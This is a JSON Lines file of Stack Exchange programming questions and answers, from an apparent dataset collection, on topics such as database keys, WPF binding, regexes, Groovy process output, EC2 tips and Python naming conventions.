{"id": "hf_84221702405d", "question": "<p>I inherited a database built with the idea that composite keys are much more ideal than using a unique object ID field and that when building a database, a single unique ID should <b><em>never</em></b> be used as a primary key.  Because I was building a Rails front-end for this database, I ran into difficulties getting it to conform to the Rails conventions (though it was possible using custom views and a few additional gems to handle composite keys).</p>\n\n<p>The reasoning behind this specific schema design from the person who wrote it had to do with how the database handles ID fields in a non-efficient manner and when it's building indexes, tree sorts are flawed.  This explanation lacked any depth and I'm still trying to wrap my head around the concept (I'm familiar with using composite keys, but not 100% of the time).</p>\n\n<p>Can anyone offer opinions or add any greater depth to this topic?  </p>\n", "question_body": "", "answer": "Using 'unique (object) ID' fields simplifies joins, but you should aim to have the other (possibly composite) key still unique -- do NOT relax the not-null constraints and DO maintain the unique constraint.\nIf the DBMS can't handle unique integers effectively, it has big problems.  However, using both a 'unique (object) ID' and the other key does use more space (for the indexes) than just the other key, and has two indexes to update on each insert operation.  So it isn't a freebie -- but as long as you maintain the original key, too, then you'll be OK.  If you eliminate the other key, you are breaking the design of your system; all hell will break loose eventually (and you might or might not spot that hell broke loose).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:14.633442"}
{"id": "hf_de75f4136889", "question": "<p>In WPF:</p>\n\n<p>Can someone please explain the relationship between DependencyProperty and Databinding?</p>\n\n<p>I have a property in my code behind I want to be the source of my databinding.\nWhen does a DependencyProperty (or does it) come into play if I want to bind this object to textboxes on the XAML.</p>\n", "question_body": "", "answer": "The target in a binding must always be a\n```\nDependencyProperty\n```\n, but any property (even plain properties) can be the source.\nThe problem with plain properties is that the binding will only pick up the value once and it won't change after that because change notification is missing from the plain source property.\nTo provide that change notification without making it a\n```\nDependencyProperty\n```\n, one can:\nImplement\n```\nINotifyPropertyChanged\n```\non the class defining the property.\nCreate a\n```\nPropertyName\n```\n```\nChanged\n```\nevent. (Backward compatibility.)\nWPF will work better with the first choice.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:14.657620"}
{"id": "hf_f5b647cc5303", "question": "<p>Which type of input is least vulnerable to Cross-Site Scripting (XSS) and SQL Injection attacks.</p>\n\n<p>PHP, HTML, BBCode, etc. I need to know for a forum I'm helping a friend set up.</p>\n", "question_body": "", "answer": "We need to know more about your situation.  Vulnerable how?  Some things you should always do:\nEscape strings before storing them in a database to guard against SQL injections\nHTML encode strings when printing them back to the user from an unknown source, to prevent malicious html/javascript\nI would never execute php provided by a user.  BBCode/UBBCode are fine, because they are converted to semantically correct html, though you may want to look into XSS vulnerabilities related to malformed image tags.  If you allow HTML input, you can whitelist certain elements, but this will be a complicated approach that is prone to errors.  So, given all of the preceding, I would say that using a good off-the-shelf\nBBCode\nlibrary would be your best bet.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:14.706114"}
{"id": "hf_88cc82c4b06f", "question": "<p>For example, this regex</p>\n\n<pre><code>(.*)&lt;FooBar&gt;\n</code></pre>\n\n<p>will match:</p>\n\n<pre><code>abcde&lt;FooBar&gt;\n</code></pre>\n\n<p>But how do I get it to match across multiple lines?</p>\n\n<pre><code>abcde\nfghij&lt;FooBar&gt;\n</code></pre>\n", "question_body": "", "answer": "In the context of use within languages, regular expressions act on strings, not lines. So you should be able to use the regex normally, assuming that the input string has multiple lines.\nIn this case, the given regex will match the entire string, since \"<FooBar>\" is present. Depending on the specifics of the regex implementation, the $1 value (obtained from the \"(.*)\") will either be \"fghij\" or \"abcde\\nfghij\". As others have said, some implementations allow you to control whether the \".\" will match the newline, giving you the choice.\nLine-based regular expression use is usually for command line things like egrep.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:14.730819"}
{"id": "hf_ba0f468c855c", "question": "<p>I need a cross platform method of determining the MAC address of a computer at run time.  For windows the 'wmi' module can be used and the only method under Linux I could find was to run ifconfig and run a regex across its output.  I don't like using a package that only works on one OS, and parsing the output of another program doesn't seem very elegant not to mention error prone. </p>\n\n<p>Does anyone know a cross platform method (windows and linux) method to get the MAC address?    If not, does anyone know any more elegant methods then those I listed above?</p>\n", "question_body": "", "answer": "```\nnetifaces\n```\nis a good module to use for getting the mac address (and other addresses). It's crossplatform and makes a bit more sense than using socket or uuid.\n```\n```\nimport netifaces\n\nnetifaces.interfaces()\n# ['lo', 'eth0', 'tun2']\n\nnetifaces.ifaddresses('eth0')[netifaces.AF_LINK]\n# [{'addr': '08:00:27:50:f2:51', 'broadcast': 'ff:ff:ff:ff:ff:ff'}]\n```\n```\npypi location\nGood Intro to netifaces", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:14.755322"}
{"id": "hf_c5f5e7df948e", "question": "<p>Groovy adds the <code>execute</code> method to <code>String</code> to make executing shells fairly easy;</p>\n\n<pre><code>println \"ls\".execute().text\n</code></pre>\n\n<p>but if an error happens, then there is no resulting output.  <strong>Is there an easy way to get both the standard error and standard out?</strong>  (other than creating a bunch of code to; create two threads to read both inputstreams, then using a parent stream to wait for them to complete then convert the strings back to text?)</p>\n\n<p>It would be nice to have something like;</p>\n\n<pre><code> def x = shellDo(\"ls /tmp/NoFile\")\n println \"out: ${x.out} err:${x.err}\"\n</code></pre>\n", "question_body": "", "answer": "```\n\"ls\".execute()\n```\nreturns a\n```\nProcess\n```\nobject which is why\n```\n\"ls\".execute().text\n```\nworks. You should be able to just read the error stream to determine if there were any errors.\nThere is a extra method on\n```\nProcess\n```\nthat allow you to pass a\n```\nStringBuffer\n```\nto retrieve the text:\n```\nconsumeProcessErrorStream(StringBuffer error)\n```\n.\nExample:\n```\n```\ndef proc = \"ls\".execute()\ndef b = new StringBuffer()\nproc.consumeProcessErrorStream(b)\n\nprintln proc.text\nprintln b.toString()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:14.791889"}
{"id": "hf_27eb7dacd5fb", "question": "<p>What are the differences between the free sql express 05 management studio and the licensed version?</p>\n", "question_body": "", "answer": "See the \"SQL Server 2005 Features Comparison\" at\nhttp://www.microsoft.com/sql/prodinfo/features/compare-features.mspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:14.832762"}
{"id": "hf_41bcda465b5a", "question": "<p>I've used DTCTester before to diagnose MSDTC problems. However, I just noticed DTCPing seems to do about the same thing. What's the difference between these two?</p>\n\n<p>From what I can tell so far, DTCPing needs to run on both client and server machines, whereas DTCTester only needs to run from the client. Are there any other differences?</p>\n", "question_body": "", "answer": "Testing DTC settings is very common when installing BizTalk Server, so from the BTS documentation, so - from\nhttp://msdn.microsoft.com/en-us/library/aa561924.aspx\nUse the DTCTester utility to verify\n  transaction support between two\n  computers if SQL Server is installed\n  on one of the computers. The DTCTester\n  utility uses ODBC to verify\n  transaction support against a SQL\n  Server database. For more information\n  about DTCTester see How to Use\n  DTCTester Tool.\nUse DTCPing to verify transaction\n  support between two computers if SQL\n  Server is not installed on either\n  computer. The DTCPing tool must be run\n  on both the client and server computer\n  and is a good alternative to the\n  DTCTester utility when SQL Server is\n  not installed on either computer. For\n  more information about DTCPing, see\n  How to troubleshoot MS DTC firewall\n  issues.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:14.857200"}
{"id": "hf_c96f586a90c7", "question": "<p>I'm working in .Net 3.5sp1 in C# for an ASP.Net solution and I'm wondering if there's any way to turn on the Class Name and Method Name drop-downs in the text editor that VB.Net has at the top. It's one of the few things from VB that I actually miss.</p>\n\n<p>Edit: Also, is there any way to get the drop downs to be populated with the possible events?</p>\n\n<p>e.g. (Page Events) | (Declarations)</p>\n", "question_body": "", "answer": "Go To:\n```\n```\nTools -> Options -> Text Editor -> C# -> General -> Navigation Bar\n```\n```\nMake sure it is clicked, and that should show something at the top of your code that has all the classes and methods listed in your file.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:14.904388"}
{"id": "hf_636dec0d03bd", "question": "<p>Can anyone tell me what version of the .NET framework (CLR and BCL) is req'd for the recently-released MS Sync Framework (for support of occasionally-connected-applications)?</p>\n\n<p>Its listed as Sync Framework V1 for ADO.NET v2.0 but none of its listed req'ments say anything about the .NET fx version that is required to support it.</p>\n\n<p>Anyone got any experience with this...?</p>\n", "question_body": "", "answer": "If it specifies ADO.NET 2.0, then you'll need at least .NET 2.0. ADO.NET changed a lot between 1.1 and 2.0", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:14.939564"}
{"id": "hf_397b135792ef", "question": "<p>When I have a regular textbox in a UpdatePanel (not an ASP.NET control) with some JavaScript events on it, after the UpdatePanel updates my events are gone. Is there a way to re-attach my events after the update? (Preferably without putting my events inline).</p>\n", "question_body": "", "answer": "You can have a\n```\nsetInterval()\n```\nloop on document load that would search for the element in the update panel and if it didn't have the events, it can re-attach them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:14.975215"}
{"id": "hf_087e1178c448", "question": "<p>Bearing in mind that I'll be performing calculations on lat / long pairs, what datatype is best suited for use with a MySQL database?</p>\n", "question_body": "", "answer": "Use MySQL's\nspatial extensions\nwith GIS.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:14.999556"}
{"id": "hf_35500a15ea72", "question": "<pre><code>grant {\n    permission java.security.AllPermission;\n};\n</code></pre>\n\n<p>This works.</p>\n\n<pre><code>grant file:///- {\n    permission java.security.AllPermission;\n};\n</code></pre>\n\n<p>This does not work.  Could someone please explain to me why?</p>\n", "question_body": "", "answer": "The directive \"grant { permission }\" means grant the permission to all code no matter where it came from. In other words, when there is no codebase specified, the code could be loaded from the network or the file system.\nThe second directive (if it worked) would only apply to the local file system. It would be specifying all files (recursively) on the local file system. I'm not sure that \"file:///\" is a valid URL by itself. I know that\n```\nfile:///tmp/-\n```\nworks.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:15.073298"}
{"id": "hf_9d60ab182716", "question": "<p>When should one do the following?</p>\n\n<pre><code>class Foo : Control\n{\n    protected override void OnClick(EventArgs e)\n    {\n        // new code here\n    }\n}\n</code></pre>\n\n<p>As opposed to this?</p>\n\n<pre><code>class Foo : Control\n{\n    public Foo()\n    {\n        this.Click += new EventHandler(Clicked);\n    }\n\n    private void Clicked(object sender, EventArgs e)\n    {\n        // code\n    }\n}\n</code></pre>\n", "question_body": "", "answer": "Overriding rather than attaching a delegate will result in more efficient code, so it is generally recommended that you always do this where possible. For more information see\nthis MSDN article\n. Here is a pertinent quote:\nThe protected OnEventName method also\n  allows derived classes to override the\n  event without attaching a delegate to\n  it. A derived class must always call\n  the OnEventName method of the base\n  class to ensure that registered\n  delegates receive the event.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:15.146951"}
{"id": "hf_df0cea933854", "question": "<p>I'm not sure if the term's actually \"Array Addition\". </p>\n\n<p>I'm trying to understand what does the following line do:</p>\n\n<pre><code>int var[2 + 1] = {2, 1};\n</code></pre>\n\n<p>How is that different from <code>int var[3]</code>?</p>\n\n<p>I've been using Java for several years, so I'd appreciate if explained using Java-friendly words.</p>\n\n<p>Edit: Thousands of thanks to everyone who helped me out, Occam's Razor applies here. </p>\n", "question_body": "", "answer": "How is that different from\n```\nint var[3]\n```\n?\nIn no way that I can see.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:15.170787"}
{"id": "hf_8e8556e74e61", "question": "<p>I know we cannot do this at class level but at method level we can always do this. </p>\n\n<pre><code>var myList=new List&lt;string&gt; // or something else like this\n</code></pre>\n\n<p>This question came to my mind since wherever we declare variable like this. We always provide the type information at the RHS of the expression.  So compiler doesn't need to do type guessing. (correct me if i am wrong).</p>\n\n<p>so question remains WHY NOT at class level while its allowed at method level</p>\n", "question_body": "", "answer": "The compiler guys just didn't implement the support.\nIt's entirely compiler magic, and the compiler doesn't actually put something into IL that says \"figure out the type at runtime\", it knows the type and builds it in, so it could've done that for members as well.\nIt just doesn't.\nI'm pretty sure that if you asked an actual compiler guy on the C# compiler team, you'd get something official, but there's no magic happening here and it should be possible to do the same for members fields.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:15.206917"}
{"id": "hf_2c9fd67e8383", "question": "<p>I want to create a script that parses or makes sense of apache's error log to see what the most recent error was. I was wondering if anyone out there has something that does this or has any ideas where to start?</p>\n", "question_body": "", "answer": "There are a few things to consider first:\nFirstly, your PHP user may not have access to Apache's log files.\nSecondly, PHP and Apache aren't going to tell you where said log file is,\nLastly, Apache log files can get quite large.\nHowever, if none of these apply, you can use the normal file reading commands to do it.\nThe easiest way to get the last error is\n```\n```\n$contents = @file('/path/to/error.log', FILE_SKIP_EMPTY_LINES);\nif (is_array($contents)) {\n    echo end($contents);\n}\nunset($contents);\n```\n```\nThere's probably a better way of doing this that doesn't oink up memory, but I'll leave that as an exercise for the reader.\nOne last comment:  PHP also has an ini setting to redirect PHP errors to a log file:\n```\nerror_log = /path/to/error.log\n```\nYou can set this in httpd.conf or in an .htaccess file (if you have access to one) using the php_flag notation:\n```\n```\nphp_flag error_log /web/mysite/logs/error.log\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:15.265485"}
{"id": "hf_bdf592aa1213", "question": "<p>I have a database in the following format:</p>\n\n<pre><code> ID    TYPE   SUBTYPE    COUNT   MONTH\n 1      A      Z          1       7/1/2008\n 1      A      Z          3       7/1/2008\n 2      B      C          2       7/2/2008\n 1      A      Z          3       7/2/2008\n</code></pre>\n\n<p>Can I use SQL to convert it into this:</p>\n\n<pre><code>ID    A_Z   B_C   MONTH\n1     4     0     7/1/2008\n2     0     2     7/2/2008\n1     0     3     7/2/2008\n</code></pre>\n\n<p>So, the <code>TYPE</code>, <code>SUBTYPE</code> are concatenated into new columns and <code>COUNT</code> is summed where the <code>ID</code> and <code>MONTH</code> match.</p>\n\n<p>Any tips would be appreciated. Is this possible in SQL or should I program it manually?</p>\n\n<p>The database is SQL Server 2005. </p>\n\n<p>Assume there are 100s of <code>TYPES</code> and <code>SUBTYPES</code> so and 'A' and 'Z' shouldn't be hard coded but generated dynamically.</p>\n", "question_body": "", "answer": "```\n```\nselect id,\nsum(case when type = 'A' and subtype = 'Z' then [count] else 0 end) as A_Z,\nsum(case when type = 'B' and subtype = 'C' then [count] else 0 end) as B_C,\nmonth\nfrom tbl_why_would_u_do_this\ngroup by id, month\n```\n```\nYou change requirements more than our marketing team!  If you want it to be dynamic you'll need to fall back on a sproc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:15.326678"}
{"id": "hf_32011b2e06f6", "question": "<p>We're looking into developing a product that would use Amazon's cloud tools (EC2, SQS, etc), and I'm curious what tips/gotchas/pointers people that have used these technologies have.</p>\n\n<p>One tip/whatever per post, please.</p>\n", "question_body": "", "answer": "An important concept to grasp: the file system your EC2 instance lives on while it's running\nis not persistent.\nThere are tools/services available that let you mount file systems backed by S3 storage, or you can upload to S3 or other storage service from the instance, but when an instance closes the associated file system is no more.\nAs for tools, I've found Amazon's tools to be great, but you should probably be comfortable with the command line if you're taking this route.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:15.351088"}
{"id": "hf_bf6518439ffb", "question": "<p>Let's say I've got a website that works better if a client has installed and logged into a desktop application.  I'd like to be able to do 2 things:</p>\n\n<ul>\n<li>Alter the website if they haven't installed the app (to make it easy for them to find a link to the installer)</li>\n<li>If they've installed the app on a couple of machines, determine which machine they are browsing from</li>\n</ul>\n\n<p>I'd like something that works on Windows and OSX, on any of the major browsers.  Linux is a bonus.  </p>\n\n<p>A few thoughts:</p>\n\n<ul>\n<li>Websites can detect if you've got Flash installed.  How does that work and could it be used for both of my goals?  </li>\n<li>Could I just let the client serve HTTP on localhost and do some javascript requests to fetch a local ID?  I know google desktop search did something like this at one point.  Is this a standard practice?  </li>\n</ul>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "You can have a browser plugin (activex for IE or Netscape plugin for the rest of the browsers) that can communicate with the application. When the webpage is loaded, it can try to instantiate the plugin and if it succeeded, it can use it as a proxy to the application. If it fails, then either the app is not installed or the plugin was explictly disabled by the user. Either way, your website should degrade its functionality accordingly.\nUpdate\n: Forgot to answer your questions:\nFlash does it exactly this way. Flash is a browser plugin that is created by the web pages.\nYou can have a machine ID generated at the application/plugin install time and your plugin can pass that machine ID to the webpage when it is created.\nOn the topic of using local webserver\n:\nI would stay away from having a local webserver, mainly because of security considerations. It takes quite a lot of work to make sure your local webserver is locked down sufficiently and there are no XSS vulnerabilities that other malicious websites can exploit to make it do stuff on their behalf.\nPlus, having a webserver means that either it has to run as a system-wide process, or if it runs as the user, you can have the website interact with only one user's instance of the application, even though multiple users can be logged on and running it at the same time.\nGoogle Desktop Search suffered from both the XSS security vulnerability (though they fixed it) and the limitation of only one user being able to use it on a machine (I don't know if they fixed this one yet, though chances are they did).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:15.401126"}
{"id": "hf_255da4e6b328", "question": "<p>Can I programatically set the position of a WPF ListBox's scrollbar?  By default, I want it to go in the center.</p>\n", "question_body": "", "answer": "I don't think ListBoxes have that, but ListViews have the\nEnsureVisible\nmethod that moves the scrollbar to the place needed in order to make sure an item is shown.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:15.450077"}
{"id": "hf_f4e1753b7273", "question": "<p>I created a class derived from System.Configuration.Install for my installer.<br>\nBut the code in Uninstall() is being called when I try to update the application.<br>\nHow can I detect that the user is trying to update instead of uninstall?</p>\n\n<p>Maybe <a href=\"http://www.microsoft.com/communities/newsgroups/en-us/default.aspx?dg=microsoft.public.dotnet.languages.csharp&amp;tid=a018d064-8bb8-441d-bccc-f5ce2cc665eb&amp;cat=&amp;lang=&amp;cr=&amp;sloc=&amp;p=1\" rel=\"nofollow noreferrer\">this post</a> explains it better than me:</p>\n\n<blockquote>\n  <p>My problem boils down to: when the\n  user performs an update (i.e. double\n  clicks on MyAppVer2.msi when they\n  already have MyAppVer1.msi installed)\n  the Uninstall method inside my\n  Installer is called first, but I have\n  no apparent property to check from\n  inside this method to detect that an\n  update is being performed so that I\n  can branch my code appropriately.</p>\n</blockquote>\n", "question_body": "", "answer": "Blind guess here, but I'd start out by checking the\nInstaller.Context\nproperty for a\nparameter\n. If that's no help, there may be something in the savedState parameter passed to\nUninstall\n.\nLast chance would be to\nprompt the user\n, and set the child installers as appropiate.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:15.485205"}
{"id": "hf_b92017115a3a", "question": "<p>When I call <code>Response.Redirect(someUrl)</code> I get the following HttpException:</p>\n\n<blockquote>\n  <p>Cannot redirect after HTTP headers have been sent.</p>\n</blockquote>\n\n<p>Why do I get this? And how can I fix this issue?</p>\n", "question_body": "", "answer": "A Redirect can only happen if the first line in an HTTP message is \"\n```\nHTTP/1.x 3xx Redirect Reason\n```\n\".\nIf you already called\n```\nResponse.Write()\n```\nor set some headers, it'll be too late for a redirect. You can try calling\n```\nResponse.Headers.Clear()\n```\nbefore the Redirect to see if that helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:15.522046"}
{"id": "hf_84057f24fbb1", "question": "<p>We just did a move from storing all files locally to a network drive. Problem is that is where my VS projects are also stored now. (No versioning system yet, working on that.) I know I heard of problems with doing this in the past, but never heard of a work-around. Is there a work around?</p>\n\n<p>So my VS is installed locally. The files are on a network drive. How can I get this to work?</p>\n\n<p>EDIT: I know what SHOULD be done, but is there a band-aid I can put on right now to fix this and maintain the network drive?</p>\n\n<p>EDIT 2: I am sure I am not understanding something, but <a href=\"https://stackoverflow.com/questions/159627/keeping-visual-studio-projects-on-a-network-drive#159702\">Bob King</a> has the right idea. I'll work with the lead web developer when he gets back into the office to figure out a temporary solution until we get some sort of version control setup. Thanks for the ideas.</p>\n", "question_body": "", "answer": "I would not recommend doing that if you have (or even if you don't have) multiple people who are working on the projects. You're just asking for trouble.\nIf you're the only one working on it, on the other hand, you'll avoid much of the trouble. Performance is going to out the window, though. As far as how to get it to work, you just open the solution file from VS. You'll likely run into security issues, but can correct that using CASPOL. As I said, though, performance is going to be terrible. Again, not recommended at all.\nDo yourself and your team a favor and install SVN or some other form of source control and put the code in there ASAP.\nEDIT: I'll partially retract my comments. Bob King explains below the reason they run VS projects from a network drive and it makes sense. I would say unless you're doing it for a specific reason like Bob, stay away from it. Otherwise, get your ducks in a row before setting up such a development environment.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:15.741604"}
{"id": "hf_e7a6daf4e8c5", "question": "<p>Coming from a C# background the naming convention for variables and method names are usually either camelCase or PascalCase:</p>\n\n<pre class=\"lang-cs prettyprint-override\"><code>// C# example\nstring thisIsMyVariable = \"a\"\npublic void ThisIsMyMethod()\n</code></pre>\n\n<p>In Python, I have seen the above but I have also seen underscores being used:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code># python example\nthis_is_my_variable = 'a'\ndef this_is_my_function():\n</code></pre>\n\n<p>Is there a more preferable, definitive coding style for Python?</p>\n", "question_body": "", "answer": "See Python\nPEP 8: Function and Variable Names\n:\nFunction names should be\nlowercase, with words separated by underscores\nas necessary to improve readability.\nVariable names follow the same convention as function names.\nmixedCase\nis allowed only in contexts where that's already the prevailing style (e.g.\nthreading.py\n), to retain backwards compatibility.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:15.802774"}
{"id": "hf_85e0afb837c6", "question": "<p>I have a complex query with group by and order by clause and I need a sorted row number (1...2...(n-1)...n) returned with every row. Using a ROWNUM (value is assigned to a row after it passes the predicate phase of the query but before the query does any sorting or aggregation) gives me a non-sorted list (4...567...123...45...). I cannot use application for counting and assigning numbers to each row.</p>\n", "question_body": "", "answer": "Is there a reason that you can't just do\n```\n```\nSELECT rownum, a.* \n  FROM (<<your complex query including GROUP BY and ORDER BY>>) a\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:15.875537"}
{"id": "hf_084c3fe524aa", "question": "<p>Do objects added to the SqlException.Data collection need to be [Serializable]?</p>\n", "question_body": "", "answer": "Well, strictly speaking, no... you can add any type to an Exception's Data dictionary... but why would you ask? What boundary do you think they are going to be serialized across?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:15.899950"}
{"id": "hf_934faa4ae230", "question": "<p>An application currently in development has the requirements for using MS Word to perform spell check on certain textareas within the application.</p>\n\n<p>I currently have Office 2007 (which is the Office 12 com objects).</p>\n\n<p>My question is, if I add in the Office 12 objects what will happen on boxes which have Office 2003?  This is in regards to both other development boxes as well as the end users.</p>\n\n<p>Am I correct in believing that the end result will be that the spell capabilities will not be available for those users?  And if I used an Office 11 object would that mean that the users would be unable to perform the spellchecks if they have Office 07 installed?</p>\n", "question_body": "", "answer": "I am guessing here, but if it is as you can't use the 2007 PIA (Primary Interop Assembly) with a 2003 installation, you could try accessing the PIA via reflection as I would guess the calls you want won't change between the two, and then it won't matter - you'll use whichever is installed.  If you are installing the PIA as well, you can then either get the user to tell you which they have, or be a little more clever and just try 2007 and if it fails, try 2003.\nLike I said, I'm guessing here but it might be worth a try.\nEDIT: I found this\nlink\nabout Office PIA's. This refers to Excel but actually covers Office in general. I don't envy the task you have. Looks like you'll need to detect the PIA (which may or may not be installed) and act accordingly. Sounds like a job for reflection to me.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:15.936054"}
{"id": "hf_c4b08d564c36", "question": "<p>Elementree has become the accepted standard for interacting with xml.  What is the prevalent web service/SOAP library in use today?</p>\n", "question_body": "", "answer": "I'm not sure about an accepted standard, but I've found\nSOAPpy\nto be fairly straight-forward and useful library for handling SOAP-based web services.\nSOAPy is a SOAP/XML Schema Library for Python. Given either a WSDL or SDL document, SOAPy discovers the published API for a web service and exposes it to Python applications as transparently as possible.\nIBM provide a\ngood walk-through and example\non their site for getting started with SOAPpy.\nSOAPpy's no longer under active development, but is instead being folded into Zolera SOAP Infrastructure (ZSI) at the\nPython Web Services Project\n. This project however has alos\nnot seen much activity\nsince November last year.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:15.958622"}
